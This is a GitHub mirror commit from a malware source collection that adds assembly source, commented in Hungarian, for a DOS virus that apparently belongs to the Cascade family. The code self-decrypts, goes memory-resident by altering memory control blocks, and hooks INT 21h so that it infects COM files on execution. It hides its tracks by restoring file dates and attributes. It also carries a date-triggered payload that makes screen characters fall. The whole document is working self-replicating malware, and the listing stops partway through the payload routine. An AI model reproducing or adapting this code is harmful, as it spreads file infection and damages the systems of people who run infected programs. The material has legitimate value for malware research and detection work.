mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,781 @@
|
||||
PAGE ,132
|
||||
VIRUS SEGMENT PARA PUBLIC 'CODE'
|
||||
ASSUME CS:VIRUS,DS:VIRUS
|
||||
|
||||
R1 EQU IDE-131H
|
||||
R2 EQU BE1-1A3H
|
||||
HOSSZ EQU VEG-KEZDET
|
||||
|
||||
ORG 100H
|
||||
KEZDET EQU $
|
||||
DB 1
|
||||
CLI
|
||||
MOV BP,SP
|
||||
CALL IDE
|
||||
IDE: POP BX ; A CIM VISSZAOLVASASA
|
||||
SUB BX,131H
|
||||
TEST CS:BYTE PTR [BX+KEZDET-R1],1
|
||||
JZ INDIT
|
||||
LEA SI,[BX+INDIT-R1]
|
||||
MOV SP,OFFSET VEG-INDIT
|
||||
FOLYT: XOR [SI],SI
|
||||
XOR [SI],SP
|
||||
INC SI
|
||||
DEC SP
|
||||
JNZ FOLYT
|
||||
INDIT: MOV SP,BP
|
||||
JMP BEEPUL
|
||||
|
||||
REGCIM DW 100H
|
||||
VSZ DW 0
|
||||
MENTAX DW 0
|
||||
PRGKEZ DB 0,0,0
|
||||
DW 0
|
||||
REG1C DD 0
|
||||
REG21 DD 0
|
||||
REG28 DD 0
|
||||
DW 0
|
||||
FILATT DW 0
|
||||
FILDAT DW 0
|
||||
FILIDO DW 0
|
||||
FILNEV DD 0
|
||||
FILHOS DD 0
|
||||
UJKEZD DB 0E9H,0,0
|
||||
VIDOSZL DB 0
|
||||
VIDSOR DB 0
|
||||
VIDMOD DB 0
|
||||
OLVKAR DB 0
|
||||
OLVATT DB 0
|
||||
STATUS DB 0
|
||||
VIDKEZ DW 0
|
||||
VIDOFS DW 0
|
||||
IDOEGYS DW 0
|
||||
SZAML DW 0
|
||||
SZAMLEL DW 0
|
||||
MAXKAR DW 0
|
||||
POTYKAR DW 0
|
||||
ORA DB 16 DUP(0)
|
||||
|
||||
BEEPUL: CALL BE1
|
||||
BE1: POP BX
|
||||
SUB BX,1A3H
|
||||
MOV CS:[BX+VSZ-R2],CS ; A KODSZEGMENS TAROLASA, AZ INDITAS SZEGMENSE
|
||||
MOV CS:[BX+MENTAX-R2],AX
|
||||
MOV AX,CS:[BX+PRGKEZ-R2]
|
||||
MOV DS:100H,AX ; AZ ELSO HAROM BYTE VISSZAALLITASA
|
||||
MOV AL,CS:[BX+PRGKEZ+2-R2]
|
||||
MOV DS:102H,AL
|
||||
PUSH BX
|
||||
MOV AH,30H ; A DOS VERZIOSZAM BEOLVASASA
|
||||
INT 21H
|
||||
POP BX
|
||||
CMP AL,2
|
||||
JB VISSZA ; HA KISEBB, MINT A 2.0 VERZIO
|
||||
MOV AX,4BFFH ; A VIRUS AKTIVALTSAG ELLENORZESE
|
||||
XOR DI,DI ; DI=0
|
||||
XOR SI,SI ; SI=0
|
||||
INT 21H ; A VIRUS MAR A MEMORIABAN?
|
||||
CMP DI,55AAH ; HA DI=55AA, AKKOR MAR AKTIV
|
||||
JNZ BE2 ; UGRAS, HA MAR MUKODIK
|
||||
JB BE3 ; MINDIG HAMIS
|
||||
VISSZA: STI ; ELINDITJA A GAZDAPROGRAMOT
|
||||
PUSH DS
|
||||
POP ES ; AZ ES VISSZAALLITASA
|
||||
MOV AX,CS:[BX+MENTAX-R2]
|
||||
JMP DWORD PTR CS:[BX+REGCIM-R2]
|
||||
BE2: PUSH BX
|
||||
MOV AX,3521H
|
||||
INT 21H ; A 21H MEGSZAKITASVEKTOR BEOLVASASA
|
||||
MOV AX,BX
|
||||
POP BX ; ES ELTAROLASA A TABLAZATBAN
|
||||
BE3: MOV CS:[BX+REG21-R2],AX
|
||||
MOV CS:[BX+REG21+2-R2],ES
|
||||
MOV AX,0F000H
|
||||
MOV ES,AX
|
||||
MOV DI,0E008H
|
||||
CMP WORD PTR [DI],4F43H ; 'COPR. IBM'+00H ELLENORZESE /LENNE/
|
||||
JNZ BE4
|
||||
CMP WORD PTR [DI+2],5250H
|
||||
JNZ BE4
|
||||
CMP WORD PTR [DI+4],202EH
|
||||
JNZ BE4
|
||||
CMP WORD PTR [DI+6],4249H
|
||||
JNZ BE4
|
||||
CMP WORD PTR [DI+8],4DH
|
||||
JZ VISSZA
|
||||
BE4: MOV AX,HOSSZ/10H+11H ; A VIRUS HOSSZA+100H PARAGRAFUSBAN
|
||||
MOV BP,CS ; ES RAALLITASA A PROGRAMOT MEGELOZO
|
||||
DEC BP ; MCB-RE
|
||||
MOV ES,BP
|
||||
MOV SI,CS:[16H]
|
||||
MOV ES:[1],SI
|
||||
MOV DX,ES:[3] ; A SZABAD PARAGRAFUSOK BEOLVASASA DX-BE
|
||||
MOV ES:[3],AX
|
||||
MOV ES:BYTE PTR [0],4DH ; NEM UTOLSO MCB
|
||||
SUB DX,AX ; AZ UJ SZABAD PARAGRAFUSOK SZAMA A VIRUS
|
||||
DEC DX ; HOSSZAVAL ES EGYEL /AZ UJ MCB/ KEVESEBB
|
||||
INC BP
|
||||
ADD BP,AX
|
||||
INC BP
|
||||
MOV ES,BP
|
||||
PUSH BX
|
||||
MOV AH,50H
|
||||
MOV BX,BP
|
||||
INT 21H
|
||||
POP BX
|
||||
XOR DI,DI ; DI=0
|
||||
PUSH ES
|
||||
POP SS ; SS=ES - AZ UJ VEREM AZ UJ HELYEN LESZ
|
||||
PUSH DI
|
||||
LEA DI,[BX+VEG-R2-1] ; A PROGRAM VEGEROL
|
||||
MOV SI,DI
|
||||
MOV CX,OFFSET HOSSZ ; A VIRUST /CX-BE A VIRUS HOSSZA KERUL/
|
||||
STD ; VISSZAFELE
|
||||
REPZ MOVSB ; FELMASOLJA
|
||||
PUSH ES
|
||||
LEA CX,[BX+BE9-R2] ; KOZVETLEN VEZERLESATADAS AZ UJ HELYEN
|
||||
PUSH CX ; LEVO VIRUSRA. A PROGRAM VALOJABAN A
|
||||
RETF ; RETF UTASITAS UTAN FOLYTATODIK
|
||||
BE9: MOV CS:[BX+VSZ-R2],CS ; AZ UJ SZEGMENSCIM AZ INDITASHOZ
|
||||
LEA CX,[BX+KEZDET-R2] ; A PROGRAM HOSSZA VIRUS NELKUL
|
||||
REPZ MOVSB ; A PROGRAM 'FELHUZASA' A VIRUS ALA
|
||||
MOV CS:36H,CS
|
||||
DEC BP ; AZ UJ MCB SZEGMENSCIME
|
||||
MOV ES,BP ; ATTOLTENI ES-BE
|
||||
MOV ES:[3],DX ; BEALLITANI A SZABAD PARAGRAFUSOK SZAMAT
|
||||
MOV ES:BYTE PTR [0],5AH ; ES EZ AZ UTOLSO MCB
|
||||
MOV ES:WORD PTR [1],CS ; A PROGRAM SZEGMENSCIME
|
||||
INC BP ; ES=ES+1, A SZEGMENSREGISZTER VISSZAALLITASA
|
||||
MOV ES,BP ; A PROGRAM ELEJERE
|
||||
PUSH DS
|
||||
POP ES ; ES=DS
|
||||
PUSH CS
|
||||
POP DS ; DS=CS
|
||||
LEA SI,[BX+KEZDET-R2] ; A PROGRAM HOSSZA VIRUS NELKUL
|
||||
MOV DI,100H
|
||||
MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA
|
||||
CLD ; A VIRUS LEMASOLASA A PROGRAM ELOTT
|
||||
REPZ MOVSB ; FELSZABADULT HELYRE
|
||||
PUSH ES ; ES KOZVETLEN VEZERLESATADAS A VEGLEGES
|
||||
LEA AX,DS:BE8 ; HELYEN TALALHATO VIRUS SZAMARA
|
||||
PUSH AX ; AZ UGRAS AZ UJ VIRUS RETF UTASITASA
|
||||
RETF ; UTAN TORTENIK
|
||||
BE8: MOV CS:WORD PTR [2CH],0
|
||||
MOV CS:16H,CS
|
||||
PUSH DS ; DS ERTEKET ELMENTENI
|
||||
LEA DX,DS:UJ21 ; AZ UJ INT 21H CIMENEK BEALLITASA
|
||||
PUSH CS ; DS=CS
|
||||
POP DS
|
||||
MOV AX,2521H
|
||||
INT 21H
|
||||
POP DS ; DS REGI ERTEKE
|
||||
MOV AH,1AH
|
||||
MOV DX,80H
|
||||
INT 21H ; A DTA CIM BEALLITASA
|
||||
CALL BEMAS ; A RENDSZERIDO BEMASOLASA A TABLAZATBA
|
||||
MOV AH,2AH
|
||||
INT 21H ; RENDSZERDATUM BEOLVASASA
|
||||
CMP CX,1988 ; A MAI DATUM NAGYOBB, MINT 1988?
|
||||
JA BE5 ; IGEN: CSAK FERTOZES
|
||||
JZ BE6 ; IDEN VAN 1988
|
||||
CMP CX,1980 ; 1980 VAN?
|
||||
JNZ BE5 ; IGEN: CSAK FERTOZES
|
||||
PUSH DS
|
||||
MOV AX,3528H
|
||||
INT 21H ; A 28H VEKTOR BEOLVASASA, ES ELTAROLASA
|
||||
MOV CS:WORD PTR REG28,BX
|
||||
MOV CS:WORD PTR REG28+2,ES
|
||||
MOV AX,2528H
|
||||
MOV DX,OFFSET UJ28 ; DX-BE AZ UJ INT 28H OFFSZETJE
|
||||
PUSH CS
|
||||
POP DS ; DS=CS
|
||||
INT 21H ; A MEGSZAKITASI VEKTOR BEALLITASA
|
||||
POP DS
|
||||
OR CS:STATUS,1000B ; A POTYOGAS LETILTASA
|
||||
JMP BE7
|
||||
BE6: CMP DH,0AH ; CSAK OKTOBERTOL DECEMBERIG POTYOG
|
||||
JB BE5 ; MEG NINCS
|
||||
BE7: CALL KESLH ; A KESLELTETESI ERTEK MEGHATAROZASA
|
||||
MOV AX,1518H
|
||||
CALL VELETL
|
||||
INC AX
|
||||
MOV CS:SZAML,AX ; A BELSO VALTOZOK BEALLITASA
|
||||
MOV CS:SZAMLEL,AX
|
||||
MOV CS:POTYKAR,1
|
||||
MOV AX,351CH
|
||||
INT 21H ; AZ 1CH VEKTOR BEOLVASASA ES ELTAROLASA
|
||||
MOV CS:WORD PTR REG1C,BX
|
||||
MOV CS:WORD PTR REG1C+2,ES
|
||||
PUSH DS
|
||||
MOV AX,251CH
|
||||
MOV DX,OFFSET UJ1C ; AZ UJ INT 1CH OFFSZETJE
|
||||
PUSH CS ; ES SZEGMENSE
|
||||
POP DS
|
||||
INT 21H ; AZ 1CH VEKTOR BEALLITASA
|
||||
POP DS
|
||||
BE5: MOV BX,0FFD6H
|
||||
JMP VISSZA
|
||||
|
||||
UJ21: CMP AH,4BH ; A FUNKCIOKOD 4BH?
|
||||
JZ U21_1 ; IGEN
|
||||
U21_2: JMP DWORD PTR CS:REG21 ; FOLYTATAS A REGI INT 21H-N
|
||||
U21_3: MOV DI,55AAH ; A VIRUS AKTIVALTSAGA
|
||||
LES AX,CS:REG21
|
||||
MOV DX,CS
|
||||
IRET
|
||||
U21_1: CMP AL,0FFH ; A VIRUS AKTIVALTSAG KERDEZESE?
|
||||
JZ U21_3 ; IGEN
|
||||
CMP AL,0 ; BETOLTES & INDITAS?
|
||||
JNZ U21_2 ; NEM
|
||||
PUSHF ; A REGISZTEREK MENTESE
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
PUSH BP
|
||||
PUSH ES
|
||||
PUSH DS
|
||||
MOV CS:WORD PTR FILNEV,DX
|
||||
MOV CS:WORD PTR FILNEV+2,DS
|
||||
PUSH CS
|
||||
POP ES
|
||||
MOV AX,3D00H
|
||||
INT 21H ; A FILE MEGNYITASA OLVASASRA
|
||||
JC FERT1
|
||||
MOV BX,AX ; A FILESZAM ATVITELE BX-BE
|
||||
MOV AX,5700H
|
||||
INT 21H ; A KELETKEZESI IDO BEOLVASASA
|
||||
MOV CS:FILDAT,DX ; ES ELTAROLASA
|
||||
MOV CS:FILIDO,CX
|
||||
MOV AH,3FH
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV DX,OFFSET PRGKEZ
|
||||
MOV CX,3
|
||||
INT 21H ; AZ ELSO HAROM BYTE BEOLVASASA
|
||||
JC FERT1
|
||||
CMP AX,CX ; SIKERULT MINDENT BEOLVASNI?
|
||||
JNZ FERT1 ; NEM, HIBA TORTENT
|
||||
MOV AX,4202H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H ; FILE HOSSZANAK A MEGHATAROZASA
|
||||
MOV CS:WORD PTR FILHOS,AX
|
||||
MOV CS:WORD PTR FILHOS+2,DX
|
||||
MOV AH,3EH
|
||||
INT 21H ; A FILE LEZARASA
|
||||
CMP CS:WORD PTR PRGKEZ,5A4DH
|
||||
JNZ FERT2 ; COM FILE?
|
||||
JMP FERT3 ; EXE ESETEN VISSZATERES
|
||||
FERT2: CMP CS:WORD PTR FILHOS+2,0
|
||||
JA FERT1 ; NAGYOBB, MINT 64K?
|
||||
CMP CS:WORD PTR FILHOS,0F93BH
|
||||
JBE FERT7 ; A FILE MEG MEGFELELO MERETU
|
||||
FERT1: JMP FERT3
|
||||
FERT7: CMP CS:PRGKEZ,0E9H ; JMP UTASITAS?
|
||||
JNZ FERT8 ; NEM
|
||||
MOV AX,CS:WORD PTR FILHOS
|
||||
ADD AX,0F959H ; FILE HOSSZA - VIRUS HOSSZA : IDE UGRIK?
|
||||
CMP AX,CS:WORD PTR PRGKEZ+1
|
||||
JZ FERT1 ; EZ A FILE MAR FERTOZOTT
|
||||
FERT8: MOV AX,4300H
|
||||
LDS DX,CS:FILNEV
|
||||
INT 21H ; A FILE ATTRIBUTUMANAK BEOLVASASA
|
||||
JC FERT1
|
||||
MOV CS:FILATT,CX ; AZ ATTRIBUTUM TAROLASA
|
||||
XOR CL,20H ; AZ ARCHIV BIT INVERTALASA
|
||||
TEST CL,27H
|
||||
JZ FERT5
|
||||
MOV AX,4301H
|
||||
XOR CX,CX
|
||||
INT 21H ; AZ UJ ATTRIBUTUM FELIRASA
|
||||
JC FERT1
|
||||
FERT5: MOV AX,3D02H
|
||||
INT 21H ; FILE NYITASA IRASRA & OLVASASRA
|
||||
JC FERT1
|
||||
MOV BX,AX ; FILE SORSZAM BX-BE
|
||||
MOV AX,4202H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H ; MUTATO A FILE VEGERE
|
||||
CALL UTANMAS ; A VIRUST UTANAMASOLNI
|
||||
JNC FERT9 ; SIKERULT?
|
||||
MOV AX,4200H
|
||||
MOV CX,CS:WORD PTR FILHOS+2
|
||||
MOV DX,CS:WORD PTR FILHOS
|
||||
INT 21H ; MUTATO A FILE EREDETI VEGERE
|
||||
MOV AH,40H
|
||||
XOR CX,CX
|
||||
INT 21H ; A FILEHOSSZ FELIRASA
|
||||
JMP FERT6
|
||||
FERT9: MOV AX,4200H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H ; MUTATO A FILE ELEJERE
|
||||
JC FERT6
|
||||
MOV AX,CS:WORD PTR FILHOS
|
||||
ADD AX,0FFFEH ; AZ UGRASI CIM KISZAMITASA
|
||||
MOV CS:WORD PTR UJKEZD+1,AX
|
||||
MOV AH,040H
|
||||
MOV DX,OFFSET UJKEZD
|
||||
MOV CX,3
|
||||
INT 21H ; AZ ELSO HAROM BYTE KIIRASA
|
||||
FERT6: MOV AX,5701H
|
||||
MOV DX,CS:FILDAT ; A DATUM
|
||||
MOV CX,CS:FILIDO ; ES IDO BEOLVASASA
|
||||
INT 21H ; ES BEALLITASA
|
||||
MOV AH,3EH
|
||||
INT 21H ; A FILE LEZARASA
|
||||
MOV CX,CS:FILATT ; AZ ATTRIBUTUM BEOLVASASA
|
||||
TEST CL,111B ; R/O, REJTETT VAGY RENDSZER?
|
||||
JNZ FERTA
|
||||
TEST CL,100000B ; ARCHIV FILE?
|
||||
JNZ FERT3
|
||||
FERTA: MOV AX,4301H
|
||||
LDS DX,CS:FILNEV
|
||||
INT 21H ; A FILE ATTRIBUTUMANAK BEALLITASA
|
||||
FERT3: POP DS ; A REGISZTEREK VISSZAOLVASASA
|
||||
POP ES
|
||||
POP BP
|
||||
POP DI
|
||||
POP SI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POPF
|
||||
JMP U21_2
|
||||
|
||||
VELETL PROC NEAR ; EGY VELETLENSZAM ELOALLITASA
|
||||
PUSH DS
|
||||
PUSH CS
|
||||
POP DS
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH AX
|
||||
MOV CX,7
|
||||
MOV BX,OFFSET ORA+0EH
|
||||
PUSH [BX]
|
||||
VEL1: MOV AX,[BX-2]
|
||||
ADC [BX],AX
|
||||
DEC BX
|
||||
DEC BX
|
||||
LOOP VEL1
|
||||
POP AX
|
||||
ADC [BX],AX
|
||||
MOV DX,[BX]
|
||||
POP AX
|
||||
OR AX,AX
|
||||
JZ VEL2
|
||||
MUL DX
|
||||
VEL2: MOV AX,DX
|
||||
POP DX ; REGISZTEREK VISSZAALLITASA
|
||||
POP CX
|
||||
POP BX
|
||||
POP DS
|
||||
RET
|
||||
VELETL ENDP
|
||||
|
||||
BEMAS PROC NEAR ; A RENDSZERIDO BEMASOLASA A TABLAZATBA
|
||||
PUSH DS ; A REGISZTEREK ELMENTESE
|
||||
PUSH ES
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
PUSH CX
|
||||
PUSH CS ; ES=CS
|
||||
POP ES
|
||||
MOV CX,40H ; FORRAS= 0000:046CH
|
||||
MOV DS,CX ; AZ ORA BEMASOLASA
|
||||
MOV DI,OFFSET ORA
|
||||
MOV SI,6CH
|
||||
MOV CX,8 ; 16 BYTE
|
||||
CLD ; NOVEKVO IRANYBA
|
||||
REPZ MOVSW
|
||||
POP CX ; A REGISZEREK ELOZO ERTEKEINEK
|
||||
POP DI ; VISSZAALLITASA
|
||||
POP SI
|
||||
POP ES
|
||||
POP DS
|
||||
RET ; VISSZATERES
|
||||
BEMAS ENDP
|
||||
|
||||
VIDOLV PROC NEAR ; OLVASAS A VIDEORAM-BOL
|
||||
PUSH SI ; REGISZTEREK ELMENTESE
|
||||
PUSH DS
|
||||
PUSH DX
|
||||
MOV AL,DH
|
||||
MUL VIDOSZL ; A SOR SZAMA SZOROZVA A SORON BELULI OSZLOPOK
|
||||
MOV DH,0 ; SZAMAVAL, PLUSZ AZ OSZLOPOK SZAMA
|
||||
ADD AX,DX
|
||||
SHL AX,1 ; SZORZAS KETTOVEL (KAR.+ATTRIB.)
|
||||
ADD AX,VIDOFS ; ELTOLAS A SZEGMENSEN BELUL
|
||||
MOV SI,AX
|
||||
TEST VIDMOD,11111111B ; HAVAZIK A KEPERNYO?
|
||||
MOV DS,VIDKEZ
|
||||
JZ VO3 ; NEM HAVAZIK
|
||||
MOV DX,3DAH ; A CGA KARTYA STATUSZPORTJA
|
||||
CLI ; A MEGSZAKITASOKAT LETILTANI
|
||||
VO1: IN AL,DX ; A STATUSZ BEOLVASASA
|
||||
TEST AL,1000B ; FUGGOLEGES VISSZAFUTAS
|
||||
JNZ VO3
|
||||
TEST AL,1 ; VARJUK MEG, MIG NEM OLVASHATUNK A RAM-BOL
|
||||
JNZ VO1
|
||||
VO2: IN AL,DX
|
||||
TEST AL,1
|
||||
JZ VO2
|
||||
VO3: LODSW ; A KARAKTER ES ATTRIBUTUM BEOLVASASA
|
||||
STI ; A MEGZAKITAS ELLENORZESE
|
||||
POP DX ; REGISZTEREK VISSZAOLVASASA
|
||||
POP DS
|
||||
POP SI
|
||||
RET
|
||||
VIDOLV ENDP
|
||||
|
||||
VIDIR PROC NEAR ; KIIRAS A VIDEORAM-BA
|
||||
PUSH DI ; REGISZTEREK ELMENTESE
|
||||
PUSH ES
|
||||
PUSH DX
|
||||
PUSH BX
|
||||
MOV BX,AX ; A KARAKTER ES AZ ATTRIBUTUM ELMENTESE
|
||||
MOV AL,DH ; A CIM KISZAMITASA
|
||||
MUL VIDOSZL
|
||||
MOV DH,0
|
||||
ADD AX,DX
|
||||
SHL AX,1 ; SZORZAS KETTOVEL
|
||||
ADD AX,VIDOFS
|
||||
MOV DI,AX
|
||||
TEST VIDMOD,11111111B ; HAVAZIK A KEPERNYO?
|
||||
MOV ES,VIDKEZ
|
||||
JZ VI3 ; NEM HAVAZIK
|
||||
MOV DX,03DAH ; A CGA KARTYA STATUSZPORTJA
|
||||
CLI ; MEGSZAKITASOKAT TILTANI
|
||||
VI1: IN AL,DX ; A STATUSZT BEOLVASNI
|
||||
TEST AL,1000B ; FUGGOLEGES VISSZAFUTAS?
|
||||
JNZ VI3 ; IGEN
|
||||
TEST AL,1 ; IRHATUNK A VIDEORAM-BA?
|
||||
JNZ VI1 ; HA IGEN, AKKOR VARJUNK MEG
|
||||
VI2: IN AL,DX ; A STATUSZ BEOLVASASA
|
||||
TEST AL,1 ; VARJUK MEG, AMIRE ISMET OLVASHATUNK
|
||||
JZ VI2
|
||||
VI3: MOV AX,BX ; A KARAKTER ES AZ ATTRIBUTUM BETOLTESE
|
||||
STOSB ; BEIRASA A VIDEORAM-BA
|
||||
STI ; A MEGSZAKITASOK MAR ENGEDELYEZHETOK
|
||||
POP BX ; A REGISZTEREK VISSZAALITASA
|
||||
POP DX
|
||||
POP ES
|
||||
POP DI
|
||||
RET ; VISSZATERES
|
||||
VIDIR ENDP
|
||||
|
||||
VARAK PROC NEAR ; VARAKOZAS CX IDEIG
|
||||
PUSH CX
|
||||
V1: PUSH CX
|
||||
MOV CX,IDOEGYS
|
||||
V2: LOOP V2
|
||||
POP CX
|
||||
LOOP V1
|
||||
POP CX
|
||||
RET
|
||||
VARAK ENDP
|
||||
|
||||
HANGSZ PROC NEAR ; A HANGSZORO ATKAPCSOLASA
|
||||
PUSH AX ; AX ELMENTESE
|
||||
IN AL,61H ; A PPI BEOLVASASA
|
||||
XOR AL,2 ; A HANGSZORO ATKAPCSOLASA
|
||||
AND AL,11111110B ; ENGEDELYEZESE
|
||||
OUT 61H,AL ; VISSZAIRASA
|
||||
POP AX ; AX VISSZAALLITASA
|
||||
RET ; VISSZATERES
|
||||
HANGSZ ENDP
|
||||
|
||||
URES PROC NEAR
|
||||
CMP AL,0 ; NUL KODJA?
|
||||
JZ UR1 ; IGEN
|
||||
CMP AL,20H ; SZOKOZ?
|
||||
JZ UR1 ; IGEN
|
||||
CMP AL,0FFH ; 0FFH IS URES
|
||||
JZ UR1 ; AZ
|
||||
CLC ; NEM URES
|
||||
RET ; VISSZATERES
|
||||
UR1: STC ; URES
|
||||
RET ; VISSZATERES
|
||||
URES ENDP
|
||||
|
||||
GRAFIK PROC NEAR
|
||||
CMP AL,0B0H ; 0B0H<=AL<=0DFH?
|
||||
JB GR1 ; NEM
|
||||
CMP AL,0DFH
|
||||
JA GR1 ; NEM
|
||||
STC ; IGEN
|
||||
RET ; VISSZATERES
|
||||
GR1: CLC ; NEM GRAFIKUS
|
||||
RET ; VISSZATERES
|
||||
GRAFIK ENDP
|
||||
|
||||
KESLH PROC NEAR ; A KESLELTETESI ERTEK MEGHATAROZASA
|
||||
PUSH DS
|
||||
MOV AX,40H
|
||||
MOV DS,AX
|
||||
STI
|
||||
MOV AX,DS:6CH ; AZ ORA BEOLVASASA
|
||||
KES1: CMP AX,DS:6CH ; VARAKOZAS, MIG AZ ORA EPPEN NEM LEP
|
||||
JZ KES1
|
||||
XOR CX,CX ; CX NULLAZASA
|
||||
MOV AX,DS:6CH ; AZ ORA BEOLVASASA
|
||||
KES2: INC CX ; CX=CX+1
|
||||
JZ KES4 ; HA TULCSORDULT
|
||||
CMP AX,DS:6CH ; LEPETT MAR AZ ORA?
|
||||
JZ KES2 ; MEG NEM
|
||||
KES3: POP DS
|
||||
MOV AX,CX
|
||||
XOR DX,DX
|
||||
MOV CX,0FH
|
||||
DIV CX
|
||||
MOV CS:IDOEGYS,AX ; AZ IDOEGYSEG ELTAROLASA
|
||||
RET
|
||||
KES4: DEC CX
|
||||
JMP KES3
|
||||
KESLH ENDP
|
||||
|
||||
POTY PROC NEAR ; POTYOGTATAS
|
||||
MOV VIDSOR,24
|
||||
PUSH DS
|
||||
MOV AX,40H ; A BIOS PARAMETERBLOKK
|
||||
MOV DS,AX
|
||||
MOV AX,DS:4EH ; A VIDEOPUFFER OFSZET ERTEKE
|
||||
POP DS
|
||||
MOV VIDOFS,AX
|
||||
MOV DL,0FFH
|
||||
MOV AX,1130H
|
||||
MOV BH,0
|
||||
PUSH ES ; ES & BP ELMENTESE
|
||||
PUSH BP
|
||||
INT 10H ; A SOROK SZAMANAK BEOLVASASA
|
||||
POP BP ; ES & BP VISSZAALLITASA
|
||||
POP ES
|
||||
CMP DL,0FFH
|
||||
JZ PO1
|
||||
PO4: MOV VIDSOR,DL ; A SOROK SZAMANAK ELTAROLASA
|
||||
PO1: MOV AH,0FH
|
||||
INT 10H ; OSZLOPOK SZAMANAK A BEOLVASASA
|
||||
MOV VIDOSZL,AH ; ES ELTAROLASA
|
||||
MOV VIDMOD,0 ; A MOD ES A VIDEOMEMORIA SZEGMENSCIMENEK
|
||||
MOV VIDKEZ,0B000H ; BEALLITASA
|
||||
CMP AL,7 ; AZ AKTUALIS MOD EGA-TEXT?
|
||||
JZ PO3 ; IGEN
|
||||
JB PO2
|
||||
JMP PO7
|
||||
PO2: MOV VIDKEZ,0B800H ; A VIDEOMEMORIA KEZDOCIME
|
||||
CMP AL,3
|
||||
JA PO3
|
||||
CMP AL,2
|
||||
JB PO3
|
||||
MOV VIDMOD,1 ; HAVAZIK A KEPERNYO
|
||||
MOV AL,VIDSOR ; A SOROK SZAMA
|
||||
INC AL ; MEG EGY
|
||||
MUL VIDOSZL ; SZOROZVA AZ OSZLOPOK SZAMAVAL
|
||||
MOV MAXKAR,AX ; ENNYI KARAKTERHELY VAN A KEPERNYON
|
||||
MOV AX,POTYKAR ; A POTYOGTATANDO KARAKTEREK SZAMA
|
||||
CMP AX,MAXKAR ; NAGYOBB, MINT A MAXIMALIS KARAKTERSZAM?
|
||||
JBE PO5 ; NEM, TOVABB
|
||||
MOV AX,MAXKAR ; A MAXIMALIS KARAKTERSZAM
|
||||
PO5: CALL VELETL ; VELETLENSZAM ELOALLITASA 1 ES A POTYOGTATANDO
|
||||
INC AX ; /VAGY MAXIMALIS/ ERTEK KOZOTT
|
||||
MOV SI,AX ; A MAXIMALISAN POTYOGTATHATO KARAKTEREK SZAMA
|
||||
PO3: XOR DI,DI ; DI=0
|
||||
PO8: INC DI ; DI=DI+1 : A SIKERTELEN KISERLETEKET SZAMLALJA
|
||||
MOV AX,MAXKAR ; A MAXIMALIS KARAKTERSZAM
|
||||
SHL AX,1 ; SZOROZVA KETTOVEL, ENNYI SIKERTELEN KISERLET
|
||||
CMP DI,AX ; ENGEDELYEZETT EGYMAS UTAN
|
||||
JBE PO6 ; MEG NEM TELT LE
|
||||
JMP PO7 ; TULLEPTE, KILEPETT
|
||||
PO6: OR STATUS,10B ; A KARAKTER NEM POTYOGOTT
|
||||
MOV AL,VIDOSZL ; A MAXIMALIS ERTEK AZ OSZLOPOK SZAMA
|
||||
MOV AH,0
|
||||
CALL VELETL ; VELETLENSZAM ELOALLITASA
|
||||
MOV DL,AL ; EZ LESZ AZ OSZLOPSZAM
|
||||
MOV AL,VIDSOR ; MAXIMALIS ERTEK A SOROK SZAMA
|
||||
MOV AH,0
|
||||
CALL VELETL ; VELETLENSZAM ELOALLITASA
|
||||
MOV DH,AL ; EZ LESZ A SORSZAM
|
||||
CALL VIDOLV ; A MEGFELELO KARAKTER BEOLVASASA
|
||||
CALL URES ; URES-E?
|
||||
JC PO8 ; IGEN
|
||||
CALL GRAFIK ; GRAFIKUS-E?
|
||||
JC PO8 ; IGEN
|
||||
MOV OLVKAR,AL ; A BEOLVASOTT KARAKTER ES ATTRIBUTUMANAK
|
||||
MOV OLVATT,AH ; ELTAROLASA
|
||||
MOV CL,VIDSOR ; CX=SOROK SZAMA
|
||||
MOV CH,0
|
||||
POC: INC DH ; A KOVETKEZO SOR
|
||||
CMP DH,VIDSOR ; ELERTE A MAXIMALISAT?
|
||||
JA PO9 ; TULLEPTE, ABBAHAGYNI
|
||||
CALL VIDOLV ; A KARAKTER BEOLVASASA
|
||||
CMP AH,OLVATT ; AZ ATTRIBUTUM STIMMEL?
|
||||
JNZ PO9 ; NEM EGYEZIK
|
||||
CALL URES ; URES KARAKTER-E?
|
||||
JC POA ; IGEN
|
||||
POE: CALL GRAFIK ; GRAFIKUS-E?
|
||||
JC PO9 ; IGEN
|
||||
INC DH ; A KOVETKEZO SOR
|
||||
CMP DH,VIDSOR ; TULLEPTE AZ UTOLSO SORT?
|
||||
JA PO9 ; IGEN
|
||||
CALL VIDOLV ; BEOLVASAS A VIDEORAM-BOL
|
||||
CMP AH,OLVATT ; AZ ATTRIBUTUMOK OSSZEHASONLITASA
|
||||
JNZ PO9 ; NEM EGYEZNEK
|
||||
CALL URES ; URES KARAKTER-E?
|
||||
JNC POE ; NEM
|
||||
CALL HANGSZ ; HANG ELOALLITASA
|
||||
DEC DH ; A FELETTE LEVO SOR
|
||||
CALL VIDOLV ; BEOLVASASA
|
||||
MOV OLVKAR,AL ; ES AZ OTT LEVO KARAKTER ELTAROLASA
|
||||
INC DH ; AZ ALATTA LEVO SOR
|
||||
POA: AND STATUS,11111101B ; SIKERULT POTYOGTATNI
|
||||
DEC DH ; A FELETTE LEVO SOR
|
||||
MOV AL,20H ; A SZOKOZ KODJA
|
||||
CALL VIDIR ; KIIRASA
|
||||
INC DH ; AZ ALATTA LEVO SOR
|
||||
MOV AL,OLVKAR ; A KARAKTER
|
||||
CALL VIDIR ; KIIRASA
|
||||
JCXZ POB ; HA ELERTUK A LEGALSO SORT, AKKOR KILEPES
|
||||
CALL VARAK ; VARAKOZAS
|
||||
DEC CX ; ES A VISSZALEVO SOROK SZAMANAK CSOKKENTESE
|
||||
POB: JMP POC
|
||||
